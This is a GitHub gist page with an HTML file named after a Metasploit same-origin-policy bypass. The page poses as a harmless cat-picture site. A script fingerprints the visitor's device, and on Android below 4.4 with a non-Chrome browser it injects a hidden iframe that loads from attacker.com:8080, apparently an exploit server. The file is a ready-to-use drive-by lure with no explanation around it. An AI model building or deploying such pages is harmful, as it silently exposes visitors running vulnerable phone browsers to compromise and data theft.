Forked from joswr1ght/MetasploitSOPBypass.html
Created
February 28, 2018 13:26
Star
You must be signed in to star a gist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><head><script src="Spec.js/lib/Spec.js"></script></head> | |
<body> | |
This is a normal website. Look at these pictures of cats... | |
<script> | |
var spec = new Spec(); | |
if (spec.isDeviceDetected() && spec.getOS() == "Android" | |
&& spec.getBrowser != "Chrome" | |
&& parseFloat(spec.getOSVersion()) < 4.4) { | |
var iframe = document.createElement('iframe'); | |
iframe.style.display="none"; | |
iframe.src = "http://attacker.com:8080"; | |
document.body.appendChild(iframe); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment